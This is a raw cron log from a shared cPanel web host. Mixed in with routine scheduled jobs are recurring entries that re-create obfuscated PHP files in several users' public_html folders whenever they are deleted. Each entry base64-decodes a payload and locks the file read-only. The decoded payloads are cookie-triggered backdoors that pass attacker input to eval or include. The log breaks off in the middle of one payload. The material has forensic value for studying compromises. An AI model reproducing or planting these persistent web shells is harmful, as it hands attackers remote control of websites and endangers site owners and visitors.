Jun  7 13:27:01 medusa CROND[28180]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:27:01 medusa CROND[28182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:27:01 medusa CROND[28184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:27:01 medusa CROND[28185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:27:01 medusa CROND[28186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:27:01 medusa CROND[28187]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:27:01 medusa CROND[28192]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:27:01 medusa CROND[28195]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:27:01 medusa CROND[28197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:28:01 medusa CROND[29770]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:28:01 medusa CROND[29771]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:28:01 medusa CROND[29772]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:28:01 medusa CROND[29773]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:28:01 medusa CROND[29774]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:28:01 medusa CROND[29775]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:28:01 medusa CROND[29777]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:28:01 medusa CROND[29779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:28:01 medusa CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:28:01 medusa CROND[29781]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:28:01 medusa CROND[29784]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:28:01 medusa CROND[29785]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:28:01 medusa CROND[29788]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:28:01 medusa CROND[29782]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:29:01 medusa CROND[31515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:29:01 medusa CROND[31526]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:29:01 medusa CROND[31557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 13:29:01 medusa CROND[31575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:29:01 medusa CROND[31576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:29:01 medusa CROND[31577]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ